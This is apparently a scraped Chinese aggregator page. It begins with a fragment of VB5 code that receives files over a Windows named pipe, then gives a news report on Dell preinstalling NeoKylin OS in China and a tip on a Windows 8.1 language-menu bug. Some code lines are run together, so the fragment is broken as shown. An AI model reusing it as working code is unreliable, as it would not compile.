hFile = CreateFile(CDlg1.FileName, GENERIC_READ Or GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)

If hFile = -1 Then

MsgBox "无法创建指定文件,请重新选择文件名!", vbInformation Or vbOKOnly GoTo ReSelect

End If

AckByte() = StrConv("RecvOk", vbFromUnicode)

WriteFile hNamePipe, AckByte(0), UBound(AckByte()) + 1, BytesWrited, 0 End If

Else

WriteFile hFile, inBuffer(0), BytesReaded, BytesWrited, 0

AckByte() = StrConv("RecvOk", vbFromUnicode)

WriteFile hNamePipe, AckByte(0), UBound(AckByte()) + 1, BytesWrited, 0 End If

Loop Until 1 = 0

End Sub

Private Function GetExtension(ByVal FileName$) As String

GetExtension = Right(FileName, Len(FileName) - InStr(FileName, "."))

End Function

Public Sub ByteCopy(bySrc() As Byte, byDes() As Byte)

Dim i&

For i = LBound(bySrc) To UBound(bySrc)

byDes(i) = bySrc(i)

Next

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) CloseHandle hFile

CloseHandle hNamePipe

End Sub

该程序在VB5、Windows NT 4.0上调试通过。

在处理网络事务上,命名管道接口比Net BIOS要好,而且只需使用一个简单的调用就可达到目的,而无需通过Net BIOS执行许多操作。然而,命名管道接口并不提供Net BIOS的一些特征,如无连接数据报服务和允许向一个组发送消息的命名功能。

三 : 戴尔:预装中国操作系统 外媒称与Windows相似

中国操作系统 戴尔:预装中国操作系统 外媒称与Windows相似

央广网北京9月21日消息 据中国之声《央广新闻》报道,戴尔电脑中国区负责人近日在接受采访时表示,戴尔公司在中国销售的电脑,40%以上预装的不是微软的windows系统,而是中国国产的中标麒麟操作系统。(www.61k.com)

中标麒麟操作系统是2010年12月16号,由民用的中标mdash操作系统和解放军所研制的银河麒麟操作系统合并而生产而成的。随后双方共同成立了操作系统研发中心,共同开拓市场,并且把中标麒麟作为统一品牌,发布统一军民两用操作系统产品。

中标麒麟这个产品它的图标是一只高昂着头部的红色麒麟,下方是中英文双语的中标麒麟的名称。根据媒体的报道和记者所看到的这个操作系统的界面,应该说中标麒麟和windows还是比较相似的,比如在windows左下角是有一个开始键的位置,在中标麒麟里面是设置了叫做启动键,而在屏幕下方任务栏的设置,包括屏幕右下脚的时钟和上网连接状态这些显示,中标麒麟和windows都是比较相似的。

不过据了解,作为一款国产的操作系统,中标麒麟它所更多强调的是产品的安全性,在产品介绍中,它就提到是为了要能够满足政府、国防、电力、金融、证券等领域,以及企业电子商务对操作系统的安全需求,配备了管理员分权最小策权,结合角色的基于类型的访问控制,禁止上图下写等多项安全功能,从而从内核到应用,提供一个全方位的安全保护,防止关键数据被篡改或者是被窃取,系统免受到攻击。

近期戴尔公布了预装这个中标麒麟操作系统的一个电脑的数字,大约占到戴尔在华销售比例的42%,这也是第一次公布如此具体的预安装的数字。中标软件有限公司的总经理韩乃平就介绍,中标目前是用于政府机构、金融公司还有些其他的客户,他说在去年是与戴尔和惠普是签署了这样一个合作的协议,戴尔成为首个生产中标麒麟电脑的西方公司,而在随后惠普也开始了生产。

记者查询了在去年八月份戴尔和中标软件签署了合作协议中,戴尔表示,首批预装麒麟产品的戴尔电脑包括它的Latitude的商用笔记本电脑系列和OptiPlex商用台式电脑系列,以及Precision工作站等终端的产品。戴尔方面也表示说,随着合作的深入,戴尔还会继续把中标麒麟操作系统预装到其他的产品上。

四 : Windows 8.1操作系统语言环境bug集合版

经过数次检测,终于发现Windows 8.1操作系统的语言环境一个bug。记录在案,给遇到此问题的网友一个提醒,以及回避的方法。也许微软以后的补丁会修复、解决此问题。

出错现象:

1、首先是两个账户,安装了语言包之后,一个账户正常由英文环境,变成中文。右键屏幕左下方的开始图标,弹出的是中文菜单。

2、另一个账户,右键屏幕左下方的开始图标,弹出的却是英文菜单。

3、进入语言包的加载界面,系统表明此系统已经安装了中文语言包(黄色警示)。

4、然而,奇怪的是进入设备管理器里面,右键点击设备,弹出的是:Properties(性能)

5、再进一步点击设备属性菜单,却是中文设置菜单。

6、无论怎么折腾,这是一个误解的结局。

原因所在:

1、最后,发现这个问题出自于新建账号的方法。出错的问题在于,更改账户名称。

2、输入账户名(中文名)→更改名称。

3、这样创建的新账户,就会有菜单中、英文混合的现象。

4、如果不是修改现有账户名而创立的新账户,而是新建账户,就不会有这种奇怪的现象了。用户账户→删除用户账户

5、点选 → 在电脑设置中添加新用户

6、这样创建的账户,菜单就正常了(而不是中英文混合的阴阳菜单)。

本文标题:windows操作系统-操作系统份额Windows超过90% Win7依然是主流
本文地址: http://www.61k.com/1075842.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1